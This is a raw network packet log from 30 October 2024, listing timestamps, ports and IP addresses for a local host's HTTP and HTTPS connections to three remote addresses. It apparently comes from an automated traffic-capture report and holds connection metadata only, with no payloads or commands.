Oct 30, 2024 20:13:32.415472031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415482044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415489912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415503025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415507078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.415513992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415524960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415535927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415539980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.415548086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415569067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.415580988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416062117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416073084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416084051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416104078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416112900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416125059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416135073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416136026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416142941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416148901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416153908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416160107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416163921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416230917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416795015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416805983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416816950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416829109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416835070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416840076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416851044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416855097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416868925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416882038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416887999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416898966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.416903973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.416929960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.417470932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417481899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417493105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417505026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417512894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.417515993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417529106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.417531967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417543888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417555094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.417556047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417567015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.417578936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.417596102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.536640882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.536660910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.536673069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.536700010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.536706924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.536732912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.536739111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.536752939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.536792994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.536897898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.536910057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.536925077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.536933899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.536952019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.536968946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.537169933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537183046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537194967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537208080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537211895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.537219048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537224054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.537231922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537242889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537246943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.537264109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.537281990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.537642956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537656069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.537687063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.537698030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:33.527652025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:33.527652025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:33.833165884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:33.844501019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:33.844515085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:33.844753981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:34.617510080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:34.618068933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:34.719907045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:34.725368977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:35.004367113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:35.004384041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:35.004396915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:35.004545927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:35.007078886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:35.012444973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:35.291377068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:35.291551113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:35.303906918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:35.309433937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:36.084212065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:36.084371090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:36.120456934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:36.125879049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:36.405749083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:36.405858994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:36.407078028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:36.413069963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:37.189838886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:37.189899921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:39.355206013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:53.844846964 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:53.844939947 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:53.845031977 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:53.845478058 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:53.845513105 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.611974955 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.612139940 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.616553068 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.616585016 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.617141962 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.624223948 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.667356968 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.875423908 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.875483036 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.875525951 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.875593901 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.875658989 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.875694990 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.875721931 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.877234936 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.877295017 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.877336979 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.877358913 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.877360106 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.877487898 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.877588987 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.882841110 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.882894039 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:54.882924080 CET	49762	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:54.882939100 CET	443	49762	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:55.517805099 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:55.517853975 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:55.517923117 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:55.518174887 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:55.518192053 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.264776945 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.264873981 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.266530991 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.266542912 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.266869068 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.276035070 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.319344044 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.523947001 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.524007082 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.524050951 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.524085045 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.524097919 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.524286985 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.524286985 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.641756058 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.641781092 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.641959906 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.641973019 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.642021894 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.759185076 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.759207964 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.759294033 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.759330034 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.759378910 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.876760960 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.876785040 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.876946926 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.876964092 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.877034903 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.993686914 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.993707895 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.993787050 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:56.993799925 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:56.993954897 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.110807896 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.110867977 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.110929966 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.110941887 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.110986948 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.110996008 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.227977037 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.228023052 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.228132010 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.228144884 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.228301048 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.345020056 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.345063925 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.345227957 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.345227957 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.345238924 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.345289946 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.346491098 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.346534014 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.346563101 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.346570969 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.346600056 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.346621037 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.463267088 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.463339090 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.463378906 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.463392973 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.463424921 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.463437080 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.579870939 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.579921007 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.579972029 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.579987049 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.580023050 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.580038071 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.696748972 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.696805954 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.696883917 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.696894884 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.696922064 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.696945906 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.745434999 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.745475054 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.745513916 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.745523930 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.745551109 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.745572090 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.781619072 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.781708002 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.781716108 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.781730890 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.781893969 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.781893969 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.781893969 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.781893969 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.833539963 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.833589077 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.833678007 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.842170000 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.842205048 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.842272043 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.842783928 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.842803001 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.842864037 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.843106031 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.843111992 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.843158960 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.843280077 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.843301058 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.843377113 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.843389988 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.843516111 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.843524933 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.843622923 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.843636990 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.843883038 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.843934059 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:57.843990088 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.844063997 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:57.844083071 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.004946947 CET	49763	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.004977942 CET	443	49763	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.578764915 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.579346895 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.579390049 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.579797983 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.579804897 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.582680941 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.583159924 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.583192110 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.583708048 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.583717108 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.588404894 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.588768959 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.588785887 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.589174986 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.589180946 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.596862078 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.597238064 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.597280025 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.597619057 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.597625971 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.619162083 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.619678974 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.619693041 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.620130062 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.620136976 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.708033085 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.708121061 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.708173037 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.708189011 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.708225012 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.708271980 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.708395004 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.708395004 CET	49767	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.708410978 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.708421946 CET	443	49767	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.711091995 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.711134911 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.711221933 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.711402893 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.711421967 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.713924885 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.713953018 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.714011908 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.714020014 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.714065075 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.714200974 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.714219093 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.714245081 CET	49766	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.714252949 CET	443	49766	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.716196060 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.716228962 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.716305017 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.716435909 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.716445923 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.719589949 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.719619989 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.719671011 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.719680071 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.719718933 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.719878912 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.719894886 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.719913960 CET	49764	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.719919920 CET	443	49764	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.721698046 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.721736908 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.721810102 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.721925974 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.721940994 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.728300095 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.728451967 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.728512049 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.728565931 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.728579998 CET	443	49768	13.107.246.45	192.168.2.4
